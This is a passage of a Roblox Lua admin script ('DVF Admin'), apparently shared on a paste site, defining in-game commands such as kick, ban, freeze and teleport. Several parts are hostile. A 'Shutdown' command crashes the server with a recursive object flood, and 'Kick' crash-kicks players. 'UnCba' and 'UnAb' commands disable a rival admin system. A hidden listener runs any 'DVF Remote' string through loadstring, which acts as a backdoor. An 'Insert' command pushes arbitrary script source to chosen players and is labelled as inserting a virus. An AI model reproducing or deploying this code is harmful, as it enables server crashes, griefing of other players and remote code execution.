  1661. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1662. end
  1663. end
  1664. end)
  1665. end
  1666. if #LocalScripts > 0 then
  1667. for _,v in pairs(LocalScripts) do
  1668. Ping(v, Speaker)
  1669. end
  1670. else
  1671. Ping("No Local Scripts Found", Speaker, 5)
  1672. end
  1673. end)
  1674.  
  1675. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1676. local Split = GetSplit(Msg)
  1677. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1678. local ScriptName = Msg:sub(Split + 1)
  1679. local FoundLocal = false
  1680. for _,name in pairs(PlrTab) do
  1681. ypcall(function()
  1682. for _,v in pairs(name.Character:GetChildren()) do
  1683. if string.find(v.Name:lower(), ScriptName) then
  1684. if v:IsA("Script") or v:IsA("LocalScript") then
  1685. v.Disabled = true
  1686. v:Destroy()
  1687. FoundLocal = true
  1688. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1689. end
  1690. end
  1691. end
  1692. end)
  1693. ypcall(function()
  1694. for _,v in pairs(name.Backpack:GetChildren()) do
  1695. if string.find(v.Name:lower(), ScriptName) then
  1696. if v:IsA("Script") or v:IsA("LocalScript") then
  1697. v.Disabled = true
  1698. v:Destroy()
  1699. FoundLocal = true
  1700. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1701. end
  1702. end
  1703. end
  1704. end)
  1705. ypcall(function()
  1706. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1707. if string.find(v.Name:lower(), ScriptName) then
  1708. if v:IsA("Script") or v:IsA("LocalScript") then
  1709. v.Disabled = true
  1710. v:Destroy()
  1711. FoundLocal = true
  1712. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1713. end
  1714. end
  1715. end
  1716. end)
  1717. if FoundLocal == false then
  1718. Ping("Local Script Not Found", Speaker, 5)
  1719. end
  1720. end
  1721. end)
  1722.  
  1723. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1724. for _,v in pairs(game:GetChildren()) do
  1725. ypcall(function()
  1726. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1727. for _,a in pairs(v:GetChildren()) do
  1728. ypcall(function()
  1729. a:Destroy()
  1730. end)
  1731. end
  1732. elseif v.Name == "Players" then
  1733. for _,plr in pairs(v:GetPlayers()) do
  1734. Clear(plr)
  1735. end
  1736. end
  1737. end)
  1738. end
  1739. Clean()
  1740. Fixl()
  1741. Ping("Fully Cleaned", Speaker, 5)
  1742. end)
  1743.  
  1744. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1745. LClean()
  1746. Fixl()
  1747. Ping("Lightly Cleaned", Speaker, 5)
  1748. end)
  1749.  
  1750. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1751. local PlrTab = getPlayer(Speaker, Msg)
  1752. if #PlrTab > 0 then
  1753. for _,v in pairs(PlrTab) do
  1754. ypcall(function()
  1755. v:LoadCharacter()
  1756. Ping("Reset "..v.Name, Speaker, 5)
  1757. end)
  1758. end
  1759. end
  1760. end)
  1761.  
  1762. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1763. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1764. if Work:findFirstChild("Base") then
  1765. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1766. else
  1767. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1768. end
  1769. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1770. end)
  1771.  
  1772. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1773. local PlrTab = getPlayer(Speaker, Msg)
  1774. if #PlrTab > 0 then
  1775. for _,v in pairs(PlrTab) do
  1776. ypcall(function()
  1777. v.Character.Torso.Anchored = true
  1778. Ping("Froze "..v.Name, Speaker, 5)
  1779. end)
  1780. end
  1781. end
  1782. end)
  1783.  
  1784. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1785. local PlrTab = getPlayer(Speaker, Msg)
  1786. if #PlrTab > 0 then
  1787. for _,v in pairs(PlrTab) do
  1788. ypcall(function()
  1789. for _,v2 in pairs(v.Character:GetChildren()) do
  1790. ypcall(function()
  1791. v.Anchored = false
  1792. end)
  1793. end
  1794. Ping("Thawed "..v.Name, Speaker, 5)
  1795. end)
  1796. end
  1797. end
  1798. end)
  1799.  
  1800. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1801. local PlrTab = getPlayer(Speaker, Msg)
  1802. if #PlrTab > 0 then
  1803. for _,v in pairs(PlrTab) do
  1804. ypcall(function()
  1805. Instance.new("ForceField", v.Character)
  1806. end)
  1807. end
  1808. end
  1809. end)
  1810.  
  1811. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1812. local PlrTab = getPlayer(Speaker, Msg)
  1813. if #PlrTab > 0 then
  1814. for _,v in pairs(PlrTab) do
  1815. ypcall(function()
  1816. RemObj(v.Character, "ForceField")
  1817. end)
  1818. end
  1819. end
  1820. end)
  1821.  
  1822. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1823. local Split = GetSplit(Msg)
  1824. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1825. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1826. if #PlrTab > 0 and #PlrTab2 > 0 then
  1827. for i,v in pairs(PlrTab) do
  1828. ypcall(function()
  1829. for _,v2 in pairs(PlrTab2) do
  1830. ypcall(function()
  1831. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1832. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1833. end)
  1834. end
  1835. end)
  1836. end
  1837. end
  1838. end)
  1839.  
  1840. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1841. MakeExplorer(Speaker)
  1842. end)
  1843.  
  1844. Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
  1845. wait()
  1846. Dismiss(Speaker)
  1847. NumBanned = 0
  1848. NumCmds = 0
  1849. for i = 1, #Rankings do
  1850. if Rankings[i].Rank < 0 then
  1851. NumBanned = NumBanned + 1
  1852. end
  1853. end
  1854. for i,v in pairs(Commands) do
  1855. NumCmds = NumCmds + 1
  1856. end
  1857. Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
  1858. Ping("DVF Admin Created By: el¬to¬wl¬o", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
  1859. Ping("Date Started: 18th May 2013", Speaker)
  1860. Ping("Your ID: "..Speaker.userId, Speaker)
  1861. Ping("Total Number Of Players: "..#All2(), Speaker)
  1862. Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1863. Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1864. Ping("ShowGarbage", Speaker)
  1865. end)
  1866.  
  1867. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1868. Dismiss(Speaker)
  1869. for i,v in pairs(All()) do
  1870. Ping(v.Name.."'s Rank: "..FindRank(v))
  1871. end
  1872. end)
  1873.  
  1874. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1875. local Split = GetSplit(Msg)
  1876. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1877. local Speed = tonumber(Msg:sub(Split + 1))
  1878. for _,v in pairs(PlrTab) do
  1879. ypcall(function()
  1880. v.Character.Humanoid.WalkSpeed = Speed
  1881. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1882. end)
  1883. end
  1884. end)
  1885.  
  1886. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1887. local RemoveAB = Instance.new("StringValue")
  1888. RemoveAB.Name = "CBA Attachment"
  1889. RemoveAB.Value = [[CBA.override=true;]]
  1890. RemoveAB.Parent = Work
  1891. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1892. end)
  1893.  
  1894. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1895. Dismiss(Speaker)
  1896. for i,v in pairs(Injected) do
  1897. Ping(i, Speaker)
  1898. end
  1899. end)
  1900.  
  1901. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1902. local RemoveCBA = Instance.new("StringValue")
  1903. RemoveCBA.Name = "CBA Attachment"
  1904. RemoveCBA.Value = [[CBA.remove = false]]
  1905. RemoveCBA.Parent = Work
  1906. Ping("Removed All CBA Admins", Speaker, 5)
  1907. end)
  1908.  
  1909. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1910. local function BufferOverflow(object)
  1911. object.DescendantAdded:connect(BufferOverflow)
  1912. Instance.new("IntValue", object)
  1913. end
  1914. BufferOverflow(Game)
  1915. end)
  1916.  
  1917. local con = game:service'Workspace'.descendantAdded:connect(function(asd)
  1918. if asd.ClassName == 'StringValue' then
  1919. if asd.Name == "DVF Remote" then
  1920. local func = loadstring(asd.Value)
  1921. if func then asd:Destroy() return pcall(func) end
  1922. end asd:Destroy()
  1923. end
  1924. end)
  1925.  
  1926. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1927. local PlrTab = getPlayer(Speaker, Msg)
  1928. if #PlrTab > 0 then
  1929. for _,v in pairs(PlrTab) do
  1930. ypcall(function()
  1931. Crash1(v)
  1932. Ping("Crash Kicked "..v.Name, Speaker, 5)
  1933. end)
  1934. end
  1935. end
  1936. end)
  1937.  
  1938. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1939. local PlrTab = getPlayer(Speaker, Msg)
  1940. if #PlrTab > 0 then
  1941. for _,v in pairs(PlrTab) do
  1942. ypcall(function()
  1943. ChangeRank(v, -1)
  1944. end)
  1945. end
  1946. end
  1947. end)
  1948.  
  1949. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1950. local PlrTab = getPlayer(Speaker, Msg)
  1951. if #PlrTab > 0 then
  1952. for _,v in pairs(PlrTab) do
  1953. ypcall(function()
  1954. ChangeRank(v, -2)
  1955. end)
  1956. end
  1957. end
  1958. end)
  1959.  
  1960. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1961. local PlrTab = getPlayer(Speaker, Msg)
  1962. if #PlrTab > 0 then
  1963. for _,v in pairs(PlrTab) do
  1964. ypcall(function()
  1965. ChangeRank(v, -3)
  1966. end)
  1967. end
  1968. end
  1969. end)
  1970.  
  1971. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  1972. ypcall(function()
  1973. local PlrTab = getPlayer(Speaker, Msg)
  1974. if #PlrTab > 0 then
  1975. for _,v in pairs(PlrTab) do
  1976. ypcall(function()
  1977. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1978. end)
  1979. end
  1980. end
  1981. local PlrName = ChangeRank(Msg, 0)
  1982. Ping("Un-Banned "..PlrName, Speaker, 5)
  1983. end)
  1984. end)
  1985.  
  1986. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  1987. Dismiss(Speaker)
  1988. Ping("Commands", Speaker, nil, function()
  1989. Dismiss(Speaker.Name)
  1990. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1991. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1992. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1993. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1994. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1995. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1996. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1997. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1998. end)
  1999. Ping("Players", Speaker, nil, function()
  2000. ListPlayers(Speaker)
  2001. end)
  2002. end)
  2003.  
  2004. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2005. ListPlayers(Speaker)
  2006. end)
  2007.  
  2008. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2009. local Func,Error = loadstring(Msg)
  2010. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2011. getfenv(Func).Speaker = Speaker
  2012. if Error == nil then
  2013. coroutine.wrap(function()
  2014. Func()
  2015. end)()
  2016. Ping("Executed Script!", Speaker, 5)
  2017. else
  2018. Ping(Error, Speaker, 10)
  2019. end
  2020. end)
  2021.  
  2022. Command("Insert", 5, "Inserts A Virus Into selected players computer", function(Msg, Speaker)
  2023. if LS ~= nil then
  2024. local Split = GetSplit(Msg)
  2025. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2026. local LocalSource = Msg:sub(Split + 1)
  2027. if #PlrTab > 0 then
  2028. for _,v in pairs(PlrTab) do
  2029. local Inserted = LS:Clone()
  2030. Inserted.Disabled = true
  2031. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2032. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2033. Inserted:findFirstChild(OwnSource).Value = v.Name
  2034. end
  2035. Inserted[LSSource].Value = LocalSource
  2036. Inserted.Disabled = false
  2037. end
  2038. end
  2039. else
  2040. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2041. end
  2042. end)
  2043.  
  2044. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2045. Msg = tostring(Msg)
  2046. Ping(Msg, Speaker)
  2047. end)
  2048.  
  2049. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2050. Dismiss(Speaker)
  2051. for i,v in pairs(getfenv(1)) do
  2052. ypcall(function()
  2053. Ping(tostring(i)..": "..tostring(v), Speaker)
  2054. end)
  2055. end
  2056. end)
  2057.  
  2058. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2059. Dismiss()
  2060. Removed = true
  2061. for i,v in pairs(getfenv(1)) do
  2062. getfenv(1)[i] = nil
  2063. end
  2064. script.Disabled = true
  2065. end)
  2066.  
  2067. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2068. local Split = GetSplit(Msg)
  2069. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2070. local Rank = tonumber(Msg:sub(Split + 1))
  2071. if #PlrTab > 0 then
  2072. for _,v in pairs(PlrTab) do
  2073. if v.Name ~= Owner then
  2074. ChangeRank(v, Rank)
  2075. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2076. end
  2077. end
  2078. end
  2079. end)
  2080.  
  2081. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement